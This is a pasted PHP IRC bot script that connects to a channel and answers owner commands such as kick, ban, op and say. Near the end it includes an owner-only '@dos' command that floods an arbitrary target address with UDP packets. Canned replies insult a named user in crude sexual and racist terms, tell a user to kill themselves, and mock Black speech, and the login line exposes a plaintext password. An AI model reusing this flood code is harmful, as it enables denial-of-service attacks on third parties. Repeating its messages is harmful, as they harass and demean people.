Advertisement
Guest User

Untitled

a guest
Feb 9th, 2019
162
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.42 KB | None | 0 0
  1. <?
  2. //----------------------------
  3. //---Scripted by Tonic--------
  4. //-----Property of UG---------
  5. //-----You may edit-----------
  6. //---But cannot take credit--
  7. //----------------------------
  8. //Stops the script from timing out after 30 seconds
  9. set_time_limit(0);
  10.  
  11. //Connecting information
  12. $server="irc.geekshed.net";
  13.  
  14. $Port="6667";
  15.  
  16. $nick="PenguinEater";
  17.  
  18. $Channel="#TW@S";
  19. $pass = "";
  20.  
  21. $Channelpass="";
  22.  
  23.  
  24. //Loop booleans
  25.  
  26. $loop = 0; $verbonden = 0;
  27. //Connecting to socket variable
  28.  
  29. $verbinden = fsockopen($server, $Port);
  30.  
  31. //Start connection and loop
  32.  
  33. while(1) {
  34.  
  35. while ($read = fgets($verbinden)) {
  36.  
  37.  
  38. //Detects strings and converts read variable into an array
  39.  
  40. $read = str_replace("\n","",$read); $read = str_replace("\r","",$read);
  41.  
  42. $read2 = explode(" ",$read);
  43.  
  44.  
  45.  
  46. //Starts loop back of login and logs the bot in as UniBot
  47.  
  48. if ($loop == 0) {
  49.  
  50. fputs($verbinden,"nick $nick\n\n");
  51.  
  52. fputs($verbinden,"USER UniBot 0 * :woopie\n\n");
  53. fputs($verbinden,"PASS uniwhore123%123\n\n");
  54.  
  55. }
  56.  
  57. //Converts read2 variable into string
  58. $args = NULL; for ($i = 4; $i < count($read2); $i++) { $args .= $read2[$i] . ' '; }
  59.  
  60.  
  61. if ($read2[0] == "PING") { fputs($verbinden,'PONG '.str_replace(':','',$read2[1])."\n"); }
  62.  
  63.  
  64. //Joins channel
  65.  
  66. if ($read2[1] == 251) {
  67.  
  68. fputs($verbinden,"join $Channel $Channelpass\n");
  69.  
  70. $verbonden++;
  71.  
  72. }
  73.  
  74. //Gets user's NICK
  75. preg_match("/:(.*?)!/i", $read2[0], $matches);
  76.  
  77. //Stores user search result into nnick
  78. $nnick = $matches['1'];
  79.  
  80. //Starts random number for shredurface command block
  81. $id = mt_rand(0, 4);
  82.  
  83. //Kick Command, plain kick no reason
  84. if ((eregi("@kick", $read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {
  85.  
  86. fputs($verbinden,"KICK $Channel $read2[4] \n");
  87.  
  88. }
  89.  
  90. //Kick command, kicks the user from the channel and puts old school socom error 30 for lagout ;)
  91. if ((eregi("@boot", $read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {
  92.  
  93. if (eregi("UniBot", $read2[4])) {
  94. fputs($verbinden, "PRIVMSG $Channel :Uhh yes, hi.. um.... $nnick do you think i'm that stupid enough too boot myself? You failed, please.. Just kill yourself $nnick because that was a failed attempt and god should smight you for that epic fail.\n");
  95. }
  96. else {
  97.  
  98. fputs($verbinden, "KICK $Channel $read2[4] Network error(30)\n");
  99. }
  100.  
  101. }
  102.  
  103.  
  104. //Ban command, bans the username from the channel
  105. if ((eregi("@ban", $read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {
  106. fputs ($verbinden, "MODE $Channel +b $read2[4] Network Error(35)\n");
  107. }
  108.  
  109. //Say command, make the bot say something
  110. if ((eregi("@say", $read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {
  111. fputs ($verbinden, "PRIVMSG $Channel :$args\n");
  112. }
  113.  
  114. //Detects a person saying hello or hi and replies back
  115. $hi = '/\bhi\b/i'; // Searches for hi as a single word
  116. $hello = '/\bhello\b/i'; // Searches for hello as a single word
  117. if((preg_match($hi, $read)!==0) or preg_match($hello, $read)!==0) {
  118. fputs ($verbinden, "PRIVMSG $Channel :Well hello there $nnick! Glad you joined the IRC! How are you doing?\n");
  119. }
  120.  
  121. //Slap command, slap a user!
  122. if (eregi("@slap", $read)) {
  123. fputs ($verbinden, "PRIVMSG $Channel :Slaps $read2[4] a bit with a large trout\n");
  124. }
  125.  
  126. //Shredurface Command
  127. if (eregi("shredurface", $read)) {
  128.  
  129. if ($id == 0) {
  130. fputs($verbinden, "PRIVMSG ".$Channel." :Shredurface is probably one of the biggest incorrect douchebags we have known besides Chuck Norris and .IV.Shooter..\n");
  131. }
  132. elseif ($id == 1) {
  133. fputs($verbinden, "PRIVMSG ".$Channel." :Shredurface is always insecure because he is scared of people surpassing him and has to swing his giant ePenis around like the man he is.\n");
  134. }
  135. elseif ($id == 2) {
  136. fputs($verbinden, "PRIVMSG ".$Channel." :Shredurface is so pathetic that he needs to rely on fake pussy from Sammy or should we say Samuel?\n");
  137. }
  138. elseif ($id == 3) {
  139. fputs($verbinden, "PRIVMSG $Channel :If you're smarter than Shredurface, you are dumb.\n");
  140. }
  141. elseif ($id == 4) {
  142. fputs($verbinden, "PRIVMSG $Channel :Shredurface is a biggot from georgia and is probably a part of the kkk.\n");
  143. }
  144. }
  145.  
  146. if (eregi("@hostname", $read)) {
  147. fputs($verbinden, "PRIVMSG $Channel :$read2[0]\n");
  148. }
  149.  
  150. //Reconnect command, stops script and refreshes page.. Half-Ass version
  151. if ((eregi("@reconnect", $read2[3]))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {
  152. fputs ($verbinden, "QUIT :Reconnecting..\n");
  153. Header("Location: newbot.php");
  154. }
  155.  
  156. //Detects the word sup and replies like a black man
  157. $sup = '/\bsup\b/i'; // Searches for sup as a single word
  158. if(preg_match($sup, $read)!==0)
  159. {
  160. fputs ($verbinden, "PRIVMSG $Channel :Yo WuD uP dAwG!1!1! I'm UnIbOt\n");
  161. }
  162.  
  163. $bye = '/\bbye\b/i';
  164. if(preg_match($bye, $read)!==0) {
  165. fputs($verbinden, "PRIVMSG $Channel :Good bye $nnick\n");
  166. }
  167.  
  168. //Converts ASCII to md5 HASH
  169. if (eregi("@md5", $read)) {
  170. fputs ($verbinden, "PRIVMSG $Channel :".md5($args). "\n");
  171. }
  172.  
  173. //Detects word sex and blurs out dumb shit
  174. $botSearch = '/\bsex\b/i'; // Searches for sex as a single word
  175. if(preg_match($botSearch, $read)!==0)
  176. {
  177. fputs ($verbinden, "PRIVMSG $Channel :You know I love sex $nnick, Maybe we should hookup later ;)\n");
  178. }
  179.  
  180. //OP Command, will op the user you put if user is detected
  181. //Format @op #Channel mode user
  182. if ((eregi("@op", $read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {
  183. fputs ($verbinden, "mode $read2[4] $read2[5] $read2[6]\n");
  184. }
  185.  
  186. //ASCII To Hex Conversion function, prints out in HEX
  187. if (eregi("@hex", $read)) {
  188.  
  189. $hex = '';
  190. for ($i=0; $i < strlen($args); $i++)
  191. {
  192. $hex .= dechex(ord($args[$i]));
  193. }
  194. $string = $hex;
  195.  
  196. fputs ($verbinden, "PRIVMSG $Channel :$string\n");
  197. }
  198.  
  199. //ASCII To Binary Conversion Function, prints out in BINARY
  200. if (eregi("@bin", $read)) {
  201. $hex = '';
  202. for ($i=0; $i < strlen($args); $i++)
  203. {
  204. $hex .= decbin(ord($args[$i]));
  205. }
  206. $string = $hex;
  207. fputs ($verbinden, "PRIVMSG $Channel :$string\n");
  208. }
  209.  
  210. //Date Command, prints current date and military time
  211. if (eregi("@date", $read)) {
  212. $date = date("l jS \of F Y h:i:s T");
  213. fputs ($verbinden, "PRIVMSG $Channel :$date\n");
  214. }
  215. //Type backwards!
  216. if (eregi("@rev", $read)) {
  217. fputs ($verbinden, "PRIVMSG $Channel :".strrev($args)."\n");
  218. }
  219.  
  220. //Join Command, Joins a channel
  221. if (eregi("@join", $read)) {
  222. fputs($verbinden, "JOIN $read2[4]\n");
  223. }
  224.  
  225. //Quit command, kills the script
  226. if ((eregi("@quit", $read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {
  227. fputs ($verbinden, "QUIT :Master is shutting me down..\n");
  228. die();
  229. }
  230.  
  231. //DoS command, responds only to your hostname set by IRC
  232. if ((eregi("@dos",$read))&&(":Tonic!tonic@rox-ECDA17E4.sta.embarqhsd.net" == $read2[0])) {
  233.  
  234. fputs($verbinden,"privmsg $Channel :dos-udp - started udp flood - $read2[4]\n\n");
  235.  
  236. $fp = fsockopen("udp://$read2[4]", 500, $errno, $errstr, 30); // Stores udp connection into fp
  237.  
  238. if (!$fp)
  239.  
  240. {
  241.  
  242. //Kills command if errors detected
  243.  
  244. exit;
  245.  
  246. }
  247.  
  248. else // continues function if no errors detected
  249.  
  250. {
  251.  
  252. $char = "%"; // Data to send
  253.  
  254. for($a = 0; $a < 9999999999999; $a++) // sets flood amount
  255.  
  256. $data = $data.$char; // Multiples data
  257.  
  258.  
  259.  
  260. if(fputs ($fp, $data) ) // If completed
  261.  
  262. fputs($verbinden,"privmsg $Channel :udp-ddos - packets sended.\n\n"); // Tell channel its finished
  263.  
  264. else
  265.  
  266. fputs($verbinden,"privmsg $Channel :udp-ddos - <error> sending packets.\n\n"); // Tell channel if error occured
  267.  
  268. }
  269.  
  270. }
  271. $loop++; // Loops the script to keep running
  272. }
  273. }
  274. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement